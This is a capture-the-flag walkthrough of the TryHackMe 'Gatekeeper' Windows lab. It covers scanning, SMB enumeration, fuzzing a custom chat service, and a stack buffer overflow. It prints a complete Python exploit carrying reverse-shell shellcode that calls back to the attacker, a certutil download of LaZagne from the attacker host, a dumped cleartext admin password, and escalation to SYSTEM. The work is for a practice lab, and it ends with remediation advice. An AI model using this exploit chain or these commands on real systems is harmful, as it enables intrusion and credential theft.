Gatekeeper Walkthrough - TryHackMe

Gatekeeper

Gatekeeper is a vulnerable Windows machine on TryHackMe. This post will outline the penetration testing methodology used against the target and detail steps on how to successfully exploit the target.

Scanning

Using Nmap, we run a TCP SYN scan along with a UDP scan. The TCP scan reveals this is a Windows machine with a number of Windows services running such as SMB and RDP. An interesting port appears to be running on port 31337:

# Nmap 7.94 scan initiated Sat Sep 23 17:22:58 2023 as: nmap -sSV -p- -A -Pn -v -oA gatekeeper 10.10.12.113
Nmap scan report for 10.10.12.113
Host is up (0.037s latency).
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE            VERSION
135/tcp   open  msrpc              Microsoft Windows RPC
139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
445/tcp   open  ˤ@kU             Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  ssl/ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: GATEKEEPER
|   NetBIOS_Domain_Name: GATEKEEPER
|   NetBIOS_Computer_Name: GATEKEEPER
|   DNS_Domain_Name: gatekeeper
|   DNS_Computer_Name: gatekeeper
|   Product_Version: 6.1.7601
|_  System_Time: 2023-09-23T16:26:33+00:00
|_ssl-date: 2023-09-23T16:26:40+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=gatekeeper
| Issuer: commonName=gatekeeper
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-09-22T16:20:45
| Not valid after:  2024-03-23T16:20:45
| MD5:   7406:0a0b:c9ea:728a:2010:1667:4b45:a62d
|_SHA-1: 2025:8d21:3125:6602:7416:dc3e:74c6:94a9:2209:e520
31337/tcp open  Elite?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     Hello GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0
|     Hello
|   GenericLines: 
|     Hello 
|     Hello
|   GetRequest: 
|     Hello GET / HTTP/1.0
|     Hello
|   HTTPOptions: 
|     Hello OPTIONS / HTTP/1.0
|     Hello
|   Help: 
|     Hello HELP
|   Kerberos: 
|     Hello !!!
|   LDAPSearchReq: 
|     Hello 0
|     Hello
|   LPDString: 
|     Hello 
|     default!!!
|   RTSPRequest: 
|     Hello OPTIONS / RTSP/1.0
|     Hello
|   SIPOptions: 
|     Hello OPTIONS sip:nm SIP/2.0
|     Hello Via: SIP/2.0/TCP nm;branch=foo
|     Hello From: <sip:nm@nm>;tag=root
|     Hello To: <sip:nm2@nm2>
|     Hello Call-ID: 50000
|     Hello CSeq: 42 OPTIONS
|     Hello Max-Forwards: 70
|     Hello Content-Length: 0
|     Hello Contact: <sip:nm@nm>
|     Hello Accept: application/sdp
|     Hello
|   SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|_    Hello
49152/tcp open  msrpc              Microsoft Windows RPC
49153/tcp open  msrpc              Microsoft Windows RPC
49154/tcp open  msrpc              Microsoft Windows RPC
49160/tcp open  msrpc              Microsoft Windows RPC
49161/tcp open  msrpc              Microsoft Windows RPC
49162/tcp open  msrpc              Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port31337-TCP:V=7.94%I=7%D=9/23%Time=650F111C%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,24,"Hello\x20GET\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r
SF:(SIPOptions,142,"Hello\x20OPTIONS\x20sip:nm\x20SIP/2\.0\r!!!\nHello\x20
SF:Via:\x20SIP/2\.0/TCP\x20nm;branch=foo\r!!!\nHello\x20From:\x20<sip:nm@n
SF:m>;tag=root\r!!!\nHello\x20To:\x20<sip:nm2@nm2>\r!!!\nHello\x20Call-ID:
SF:\x2050000\r!!!\nHello\x20CSeq:\x2042\x20OPTIONS\r!!!\nHello\x20Max-Forw
SF:ards:\x2070\r!!!\nHello\x20Content-Length:\x200\r!!!\nHello\x20Contact:
SF:\x20<sip:nm@nm>\r!!!\nHello\x20Accept:\x20application/sdp\r!!!\nHello\x
SF:20\r!!!\n")%r(GenericLines,16,"Hello\x20\r!!!\nHello\x20\r!!!\n")%r(HTT
SF:POptions,28,"Hello\x20OPTIONS\x20/\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n"
SF:)%r(RTSPRequest,28,"Hello\x20OPTIONS\x20/\x20RTSP/1\.0\r!!!\nHello\x20\
SF:r!!!\n")%r(Help,F,"Hello\x20HELP\r!!!\n")%r(SSLSessionReq,C,"Hello\x20\
SF:x16\x03!!!\n")%r(TerminalServerCookie,B,"Hello\x20\x03!!!\n")%r(TLSSess
SF:ionReq,C,"Hello\x20\x16\x03!!!\n")%r(Kerberos,A,"Hello\x20!!!\n")%r(Fou
SF:rOhFourRequest,47,"Hello\x20GET\x20/nice%20ports%2C/Tri%6Eity\.txt%2eba
SF:k\x20HTTP/1\.0\r!!!\nHello\x20\r!!!\n")%r(LPDString,12,"Hello\x20\x01de
SF:fault!!!\n")%r(LDAPSearchReq,17,"Hello\x200\x84!!!\nHello\x20\x01!!!\n"
SF:);
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=9/23%OT=135%CT=1%CU=32113%PV=Y%DS=2%DC=T%G=Y%TM=650F11
OS:C0%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS
OS:=7)OPS(O1=M509NW8ST11%O2=M509NW8ST11%O3=M509NW8NNT11%O4=M509NW8ST11%O5=M
OS:509NW8ST11%O6=M509ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=20
OS:00)ECN(R=Y%DF=Y%T=80%W=2000%O=M509NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=
OS:S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y
OS:%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD
OS:=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0
OS:%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1
OS:(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI
OS:=N%T=80%CD=Z)

Uptime guess: 0.005 days (since Sat Sep 23 17:19:47 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: GATEKEEPER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 48m00s, deviation: 1h47m19s, median: 0s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: gatekeeper
|   NetBIOS computer name: GATEKEEPER\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-09-23T12:26:33-04:00
| smb2-security-mode: 
|   2:1:0: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2023-09-23T16:26:33
|_  start_date: 2023-09-23T16:20:44
| nbstat: NetBIOS name: GATEKEEPER, NetBIOS user: <unknown>, NetBIOS MAC: 02:c6:89:71:b5:35 (unknown)
| Names:
|   GATEKEEPER<00>       Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   GATEKEEPER<20>       Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>

TRACEROUTE (using port 1723/tcp)
HOP RTT      ADDRESS
1   37.49 ms 10.14.0.1
2   37.49 ms 10.10.12.113

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 23 17:26:40 2023 -- 1 IP address (1 host up) scanned in 222.24 seconds

The output from the scan reveals that the target is most likely running a Windows operating system. The chat service running on port 31337 appears to be a custom application and a good place to test for potential vulnerabilities.

Enumeration

A brute force of credentials against the SMB and RDP services doesn’t get us very far, but the SMB service allows allow anonymous logins, so we can start by enumerating accessible files.

┌──(kali㉿kali)-[~]
└─$ smbclient -L 10.10.203.211                                                                                                                             1 ⨯
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Users           Disk      
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.203.211 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
                                                                                                                                                               
┌──(kali㉿kali)-[~]
└─$ smbclient \\\\10.10.203.211\\Users         
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Fri May 15 02:57:08 2020
  ..                                 DR        0  Fri May 15 02:57:08 2020
  Default                           DHR        0  Tue Jul 14 08:07:31 2009
  desktop.ini                       AHS      174  Tue Jul 14 05:54:24 2009
  Share                               D        0  Fri May 15 02:58:07 2020

                7863807 blocks of size 4096. 3876405 blocks available
smb: \> cd Share
smb: \Share\> ls
  .                                   D        0  Fri May 15 02:58:07 2020
  ..                                  D        0  Fri May 15 02:58:07 2020
  gatekeeper.exe                      A    13312  Mon Apr 20 06:27:17 2020

                7863807 blocks of size 4096. 3876405 blocks available
smb: \Share\> get gatekeeper.exe
getting file \Share\gatekeeper.exe of size 13312 as gatekeeper.exe (15.7 KiloBytes/sec) (average 15.7 KiloBytes/sec)

We find a 32-bit Windows executable (gatekeeper.exe).

┌──(kali㉿kali)-[~]
└─$ file chatserver.exe
chatserver.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

From here we move on to testing and interacting with the service running on port 31337:

┌──(kali㉿kali)-[~]
└─$ nc 10.10.203.211 31337    
test
Hello test!!!
abcddkh23352
Hello abcddkh23352!!!
lkjasdlfjlasdfhglksdhlkajsdlkj
Hello lkjasdlfjlasdfhglksdhlkajsdlkj!!!
^C

The service appears to echo whatever string we send and appends the exclamation marks. Testing the application with various injection attacks fails to reveal any vulnerabilities, but we can also test for appropriate size checking on inputs. We can write a fuzzing Python script for this specific purpose:

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.203.211"

port = 31337
timeout = 5
prefix = ""

string = "A" * 50

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string + "\r\n", "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 50 * "A"
  time.sleep(1)

Fuzzing the application leads to it becoming unresponsive, revealing a DoS vulnerability and the potential for a stack buffer overflow.

...
Fuzzing with 50 bytes
Fuzzing with 100 bytes
Fuzzing with 150 bytes
Fuzzing crashed at 150 bytes

As we have a copy of the application’s executable — likely to be the same running on the target — we can load it into a debugger and more closely examine its behaviour.

Fuzzing the application again causes it to crash after sending a 150 byte payload, and with the EIP overwritten by our payload, we confirm the application is indeed vulnerable to a stack buffer overflow!

Vulnerability Assessment

Our enumeration and attacks have revealed a DoS and potential stack buffer overflow vulnerability in the application running on port 31337/TCP of the target. We may be able to successfully exploit this vulnerability and achieve remote code execution to gain a foothold on the target.

Exploitation

Having confirmed a stack buffer overflow vulnerability, we now need to find the exact offset at which the EIP is overwritten. For this, we generate a 6300 byte (or more) pattern set to use as our payload

msf-pattern_create -l 150

We then copy the pattern set into our Python script:

#!/usr/bin/env python3

import sys
import os
import socket
import struct


if len (sys.argv) != 2:
    print("[!] Insufficient amount of arguments.")
    print(f"[*] Usage: /usr/bin/python3 {sys.argv[0]} <host>")
    sys.exit (1)

host = sys.argv[1]

msf = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9"

buffer = msf

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 31337))
s.send(buffer)
s.recv(1024)
s.close()

print("[+] Payload sent.")

We send the payload, and with the application crashing again, we observe the address the EIP points to and can identify the exact offset by adding it as the -q parameter for msf-pattern_offset including the pattern length of 150 (-l 150). The exact match comes back as 146

Now that we have the correct offset, we can verify this by updating our Python script, sending 146 bytes, followed by four ‘B’ characters. The EIP now points to 42424242, the hexadecimal representation of BBBB. This confirms that we have the correct offset.

Gatekeeper

From here we go through the process of checking for bad characters to avoid in the shellcode we will generate later on. We send all possible characters, from 0x00 to 0xFF, as part of our buffer, and see how the application deals with these characters after the crash. In this case, in addition to avoiding a null byte (0x00) we must also avoid the Hex value of 0x0a in our input buffer.

Our next task is to find a way to redirect the execution flow to the shellcode located at the memory address that the ESP register is pointing to at the time of the crash.

One solution is to leverage a JMP ESP instruction, which ‘jumps’ to the address pointed to by ESP when it executes. If we can find a reliable, static address that contains this instruction, we can redirect EIP to this address and at the time of the crash, the JMP ESP instruction will be executed. This will lead the execution flow into our shellcode.

Many support libraries in Windows contain this commonly-used instruction but we need to find a reference that meets certain criteria. First, the addresses used in the library must be static, which eliminates libraries compiled with ASLR support. Second, the address of the instruction must not contain any previously identified bad characters that would break the exploit, since the address will be part of our input buffer.

Using Immunity Debugger’s ‘Mona’ Python script, we can find such an address.

Gatekeeper

Given the likely architecture of the target operating system (x86 or AMD64), the return address will have to be stored in little-endian format (reverse order) in our buffer for the CPU to interpret it correctly in memory.

Let’s also go ahead and generate our shellcode.

┌──(kali㉿kali)-[~]                                                                                                                                      [4/51]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.14.45.85 LPORT=443 EXITFUNC=thread -b "\x00\x0a" -f python
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1745 bytes
buf =  b""
buf += b"\xda\xc3\xbd\xd1\xc7\xcf\xeb\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\xb9"
buf += b"\xd4\x2d\x1e\xc5\x33\x33\xe1\x35\xc4\x54\x6b\xd0"
buf += b"\xf5\x54\x0f\x91\xa6\x64\x5b\xf7\x4a\x0e\x09\xe3"
buf += b"\xd9\x62\x86\x04\x69\xc8\xf0\x2b\x6a\x61\xc0\x2a"
buf += b"\xe8\x78\x15\x8c\xd1\xb2\x68\xcd\x16\xae\x81\x9f"
buf += b"\xcf\xa4\x34\x0f\x7b\xf0\x84\xa4\x37\x14\x8d\x59"
buf += b"\x8f\x17\xbc\xcc\x9b\x41\x1e\xef\x48\xfa\x17\xf7"
buf += b"\x8d\xc7\xee\x8c\x66\xb3\xf0\x44\xb7\x3c\x5e\xa9"
buf += b"\x77\xcf\x9e\xee\xb0\x30\xd5\x06\xc3\xcd\xee\xdd"
buf += b"\xb9\x09\x7a\xc5\x1a\xd9\xdc\x21\x9a\x0e\xba\xa2"
buf += b"\x90\xfb\xc8\xec\xb4\xfa\x1d\x87\xc1\x77\xa0\x47"
buf += b"\x40\xc3\x87\x43\x08\x97\xa6\xd2\xf4\x76\xd6\x04"
buf += b"\x57\x26\x72\x4f\x7a\x33\x0f\x12\x13\xf0\x22\xac"
buf += b"\xe3\x9e\x35\xdf\xd1\x01\xee\x77\x5a\xc9\x28\x80"
buf += b"\x9d\xe0\x8d\x1e\x60\x0b\xee\x37\xa7\x5f\xbe\x2f"
buf += b"\x0e\xe0\x55\xaf\xaf\x35\xf9\xff\x1f\xe6\xba\xaf"
buf += b"\xdf\x56\x53\xa5\xef\x89\x43\xc6\x25\xa2\xee\x3d"
buf += b"\xae\xc7\xe0\x10\x7b\xb0\xfe\x6a\x82\xfb\x76\x8c"
buf += b"\xee\xeb\xde\x07\x87\x92\x7a\xd3\x36\x5a\x51\x9e"
buf += b"\x79\xd0\x56\x5f\x37\x11\x12\x73\xa0\xd1\x69\x29"
buf += b"\x67\xed\x47\x45\xeb\x7c\x0c\x95\x62\x9d\x9b\xc2"
buf += b"\x23\x53\xd2\x86\xd9\xca\x4c\xb4\x23\x8a\xb7\x7c"
buf += b"\xf8\x6f\x39\x7d\x8d\xd4\x1d\x6d\x4b\xd4\x19\xd9"
buf += b"\x03\x83\xf7\xb7\xe5\x7d\xb6\x61\xbc\xd2\x10\xe5"
buf += b"\x39\x19\xa3\x73\x46\x74\x55\x9b\xf7\x21\x20\xa4"
buf += b"\x38\xa6\xa4\xdd\x24\x56\x4a\x34\xed\x76\xa9\x9c"
buf += b"\x18\x1f\x74\x75\xa1\x42\x87\xa0\xe6\x7a\x04\x40"
buf += b"\x97\x78\x14\x21\x92\xc5\x92\xda\xee\x56\x77\xdc"
buf += b"\x5d\x56\x52"

We now have everything we need to update our Python script before sending our reverse shell payload to the target. We also create a NOP sled to act as a wide landing pad for our JMP ESP, so that when execution lands anywhere on this pad, it will continue on to our payload.

#!/usr/bin/python3

import sys, socket

junk = b"\x41" * 146
return_address = b"\xbf\x16\x04\x08"
nops = b"\x90"*16

buf =  b""
buf += b"\xda\xc3\xbd\xd1\xc7\xcf\xeb\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x83\xe8\xfc\x31\x68\x13\x03\xb9"
buf += b"\xd4\x2d\x1e\xc5\x33\x33\xe1\x35\xc4\x54\x6b\xd0"
buf += b"\xf5\x54\x0f\x91\xa6\x64\x5b\xf7\x4a\x0e\x09\xe3"
buf += b"\xd9\x62\x86\x04\x69\xc8\xf0\x2b\x6a\x61\xc0\x2a"
buf += b"\xe8\x78\x15\x8c\xd1\xb2\x68\xcd\x16\xae\x81\x9f"
buf += b"\xcf\xa4\x34\x0f\x7b\xf0\x84\xa4\x37\x14\x8d\x59"
buf += b"\x8f\x17\xbc\xcc\x9b\x41\x1e\xef\x48\xfa\x17\xf7"
buf += b"\x8d\xc7\xee\x8c\x66\xb3\xf0\x44\xb7\x3c\x5e\xa9"
buf += b"\x77\xcf\x9e\xee\xb0\x30\xd5\x06\xc3\xcd\xee\xdd"
buf += b"\xb9\x09\x7a\xc5\x1a\xd9\xdc\x21\x9a\x0e\xba\xa2"
buf += b"\x90\xfb\xc8\xec\xb4\xfa\x1d\x87\xc1\x77\xa0\x47"
buf += b"\x40\xc3\x87\x43\x08\x97\xa6\xd2\xf4\x76\xd6\x04"
buf += b"\x57\x26\x72\x4f\x7a\x33\x0f\x12\x13\xf0\x22\xac"
buf += b"\xe3\x9e\x35\xdf\xd1\x01\xee\x77\x5a\xc9\x28\x80"
buf += b"\x9d\xe0\x8d\x1e\x60\x0b\xee\x37\xa7\x5f\xbe\x2f"
buf += b"\x0e\xe0\x55\xaf\xaf\x35\xf9\xff\x1f\xe6\xba\xaf"
buf += b"\xdf\x56\x53\xa5\xef\x89\x43\xc6\x25\xa2\xee\x3d"
buf += b"\xae\xc7\xe0\x10\x7b\xb0\xfe\x6a\x82\xfb\x76\x8c"
buf += b"\xee\xeb\xde\x07\x87\x92\x7a\xd3\x36\x5a\x51\x9e"
buf += b"\x79\xd0\x56\x5f\x37\x11\x12\x73\xa0\xd1\x69\x29"
buf += b"\x67\xed\x47\x45\xeb\x7c\x0c\x95\x62\x9d\x9b\xc2"
buf += b"\x23\x53\xd2\x86\xd9\xca\x4c\xb4\x23\x8a\xb7\x7c"
buf += b"\xf8\x6f\x39\x7d\x8d\xd4\x1d\x6d\x4b\xd4\x19\xd9"
buf += b"\x03\x83\xf7\xb7\xe5\x7d\xb6\x61\xbc\xd2\x10\xe5"
buf += b"\x39\x19\xa3\x73\x46\x74\x55\x9b\xf7\x21\x20\xa4"
buf += b"\x38\xa6\xa4\xdd\x24\x56\x4a\x34\xed\x76\xa9\x9c"
buf += b"\x18\x1f\x74\x75\xa1\x42\x87\xa0\xe6\x7a\x04\x40"
buf += b"\x97\x78\x14\x21\x92\xc5\x92\xda\xee\x56\x77\xdc"
buf += b"\x5d\x56\x52"

end = b"\r\n"

buffer = junk + return_address + nops + buf + end

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 31337))
s.send(buffer)
s.recv(1024)
s.close()

In anticipation of the reverse shell payload, we configure a Netcat listener on port 443 on our attacking machine and execute the exploit script.

┌──(kali㉿kali)-[~]
└─$ sudo nc -nlvp 443   
[sudo] password for kali: 
listening on [any] 443 ...
connect to [10.14.45.85] from (UNKNOWN) [10.10.203.211] 49218
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\natbat\Desktop>whoami
whoami
gatekeeper\natbat

C:\Users\natbat\Desktop>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State   
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled 
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

The exploit works and we have a user shell on the target with limited privileges. From here, we continue with post-exploitation enumeration and find another user account – mayor – with administrator privileges:

C:\Users\natbat\Desktop>net user                                                                                                                         [2/29]
net user                                                                                                                                                       
                                                                                                                                                               
User accounts for \\GATEKEEPER

------------------------------------------------------------------------------- 
Administrator            Guest                    mayor                    
natbat                   
The command completed successfully.


C:\Users\natbat\Desktop>net user mayor
net user mayor
User name                    mayor
Full Name                    mayor
Comment                      
User's comment               
Country code                 001 (United States)
Account active               Yes
Account expires              Never

Password last set            5/14/2020 10:00:08 PM
Password expires             Never
Password changeable          5/14/2020 10:00:08 PM
Password required            No
User may change password     Yes

Workstations allowed         All
Logon script                 
User profile                 
Home directory               
Last logon                   5/14/2020 10:46:54 PM

Logon hours allowed          All

Local Group Memberships      *Administrators       *HomeUsers            
                             *Users                 
Global Group memberships     *None                  
The command completed successfully.

After extensive enumeration and searching for credentials in files and memory, we finally get a hit from a Firefox credential.

C:\Users\natbat\Desktop>certutil.exe -urlcache -split -f http://10.14.45.85/LaZagne.exe laz.exe
certutil.exe -urlcache -split -f http://10.14.45.85/LaZagne.exe laz.exe
****  Online  ****
  000000  ...
  b4ce1d
CertUtil: -URLCache command completed successfully.

C:\Users\natbat\Desktop>laz.exe
laz.exe
usage: laz.exe [-h] [-version]
               {all,browsers,chats,databases,games,git,mails,maven,memory,multimedia,php,svn,sysadmin,windows,wifi,unused}
               ...

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|

positional arguments:
  {all,browsers,chats,databases,games,git,mails,maven,memory,multimedia,php,svn,sysadmin,windows,wifi,unused}
                        Choose a main command
    all                 Run all modules
    browsers            Run browsers module
    chats               Run chats module
    databases           Run databases module
    games               Run games module
    git                 Run git module
    mails               Run mails module
    maven               Run maven module
    memory              Run memory module
    multimedia          Run multimedia module
    php                 Run php module
    svn                 Run svn module
    sysadmin            Run sysadmin module
    windows             Run windows module
    wifi                Run wifi module
    unused              Run unused module

optional arguments:
  -h, --help            show this help message and exit
  -version              laZagne version

C:\Users\natbat\Desktop>laz.exe all
laz.exe all

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|


########## User: natbat ##########

------------------- Firefox passwords -----------------

[+] Password found !!!
URL: https://creds.com
Login: mayor
Password: 8CL7O1N78MdrCIsV

------------------- Vault passwords -----------------

[-] Password not found !!!
URL: Domain:interactive=GATEKEEPER\mayor
Login: GATEKEEPER\mayor


[+] 1 passwords have been found.
For more information launch it again with the -v option

elapsed time = 17.596800088882446

Knowing the RDP service is accessible, we can test these credentials for RDP access.

Gatekeeper

We are in as the mayor user. We can use the psexec utility from Microsoft’s SysInternal suite to get a SYSTEM shell.

Gatekeeper

Remediation

There should be a review of all code that accepts input from users to ensure that it provides appropriate size checking on all such inputs. A dedicated secure password manager using multi-factor authentication should be used to protect stored credentials.

The OS and applications also need to be patched and updated to the latest versions where possible, so as to mitigate the risk of other potential exploits.

Creative Commons License
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.